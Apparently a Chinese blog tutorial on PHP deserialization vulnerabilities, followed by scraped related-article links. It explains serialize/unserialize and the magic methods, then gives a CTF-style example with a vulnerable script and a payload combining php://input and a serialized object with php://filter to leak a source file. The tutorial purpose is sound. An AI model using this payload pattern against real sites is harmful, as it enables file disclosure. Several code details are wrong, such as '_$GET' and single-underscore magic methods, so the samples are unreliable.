概念&原理

序列化就是使用 serialize() 将对象用字符串的方式进行表示;

反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象,为序列化的逆过程。

序列化的对象可以是class或者是Array\String对象

序列化与反序列化的作用

对象是在内存中存储的数据类型,其寿命随着生成程序的终止而终止。为了将对象的状态保存下来,在需要的时候将其恢复,使用序列化将对象转化为二进制字符串进行保存。用于对象的传递。

对象序列化

示例代码

<?php
class Person{
private $name="Thinking";
private $sex='man';
function say($name,$sex){
echo 'My name is'.$name.'I am a'.$sex;
}
}
serialize(new Person);
//结果为:O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}
$B=array('name'=>'Thinking','sex'=>'man');
echo serialize($B);
//result:a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}
?>

对于结果:

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

结构为:

对象类型:对象名长度:"对象名":对象成员变量个数:{变量1类型:变量名1长度:变量名1;参数1类型:参数1长度:参数1...}

对象类型:用O表示,Array类型用a表示

变量和参数类型:string用s表示,int用i表示,Array用a表示

符号:参数与变量之间用;隔开,同一参数与变量之间的数据用:隔开。

反序列化

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后用于对象的操作。

示例;

<?php
$saveData = ‘O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}’;
var_dump(unserialize($saveData));
?>
//output
class _PHP_Incomplete_Class#1(3){
public $_PHP_Incomplete_Class_Name=>
string(6) "Person"
public $Person name=>
string(8) "Thinking"
public $Person sex=>
string(3) "man"
}

反序列化存在的问题

问题产生的原因:漏洞的根源在于unserialize()函数的参数是可控的。如果反序列化对象中存在魔术方法,而且魔术方法的代码或者变量可控,就可能产生反序列化漏洞。

魔术方法即特殊的函数,魔术函数,其命名以_开头。

反序列化的漏洞中常见的魔术方法:

_construct():在对象创建的时候调用 如使用new操作符创建一个新的实例时,调用该方法。【构造方法】

_destruct():在脚本运行结束时被自动调用 在销毁一个类之间执行析构方法

_sleep():在对象被序列化的时候调用 该函数必须返回一个数组或者对象,一般返回的是当前的对象$this,返回的 值将被用来做序列化的值,如果不返回,序列化失败

_wakeup():在反序列化为对象的时候调用

_toString():直接输出对象引用时自动被调用,该方法必须返回一个字符串,否则产生一个E_RECOVERABLE_ERROR级别的错误。

例题

//index.php
<?php
$user=_$GET["user"];
$file=$_GET["file"];
$pass=$_GET["pass"];
if(isset($user)&&(file_get_contents('$user1','r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file);//class.php
$pass=unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin";
}
?>
//class.php
<?php
class Read{//f1a9.php
public $file;
public function _toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "_toString was called";
}
}
?>

构造payload:

GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;}

POST DATA:the user is admin

经过请求可以得到经过base64编码的f1a9.php。

php _weakup()反序列化漏洞的更多相关文章

  1. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  2. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  3. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  4. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  5. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  6. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

  7. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  8. weblogic AND jboss 反序列化漏洞

    C:\Program Files\Java\jboss-4.2.3.GA\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF serv ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

随机推荐

  1. Dubbo源码解析之SPI(一):扩展类的加载过程

    Dubbo是一款开源的.高性能且轻量级的Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用.智能容错和负载均衡,以及服务自动注册和发现. Dubbo最早是阿里公司内部的RPC框架,于 ...

  2. http面试问题集锦

    1.http的请求报文和响应报文? http请求报文:请求行(请求方法+url).请求头,请求体 http响应报文:状态行(http版本+状态码).响应头.响应体   2.常用的http请求类型? 请 ...

  3. ThreadLocal源码探究 (JDK 1.8)

    ThreadLocal类之前有了解过,看过一些文章,自以为对其理解得比较清楚了.偶然刷到了一道关于ThreadLocal内存泄漏的面试题,居然完全不知道是怎么回事,痛定思痛,发现了解问题的本质还是需要 ...

  4. 小程序自定义switch组件

    如上图,小程序api中的switch组件只能自定义颜色,不能自定义宽高,所以就开始了自己写switch组件. 自定义组件样式 switch组件样式大致如图,样式思路:未选中时为一个长方形有圆角按钮,和 ...

  5. vue安卓4.4.2页面打不开的坑

    项目上线两三天,有保障说安卓下面页面打不开,所以查了下具体原因,系统版本过低,安卓4.4.2,然后发现本地没有babel-polyfill的包,具体解决方案如下: 1,npm 安装 npm insta ...

  6. java算法--普通队列

    数据结构队列 首先明确一下队列的概念. 队列是一种有序列表,使用数组的结构来存储队列的数据. 队列是一种先进先出的算法.由前端加入,由后端输出. 如下图: ​ 第一个图 第二个图 第三个图 这就是队列 ...

  7. windows上用putty从linux上下载文件

    我之前使用putty都是直接从网上下的putty.exe,其实如果想下载windows的mis二进制文件,系统安装的话会包含,pscp.psftp.puttygen等一系列的文件. 今天下从服务器上, ...

  8. Vue2.0 【第二季】第1节 Vue.directive自定义指令

    目录 Vue2.0 [第二季]第1节 Vue.directive自定义指令 一.什么是全局API? 二. Vue.directive自定义指令 三.自定义指令中传递的三个参数 四.自定义指令的生命周期 ...

  9. 机器学习 - LSTM应用之情感分析

    1. 概述 在情感分析的应用领域,例如判断某一句话是positive或者是negative的案例中,咱们可以通过传统的standard neuro network来作为解决方案,但是传统的神经网络在应 ...

  10. 使用vue构建一个可视化大数据平台

    使用vue全家桶以及v-charts和datav实现一个github可视化大数据界面展示,没有设计搞的原因,只能忽略设计编写一下界面, 用户只需要登录的时候填写自己github用户名.就可以看到数据展 ...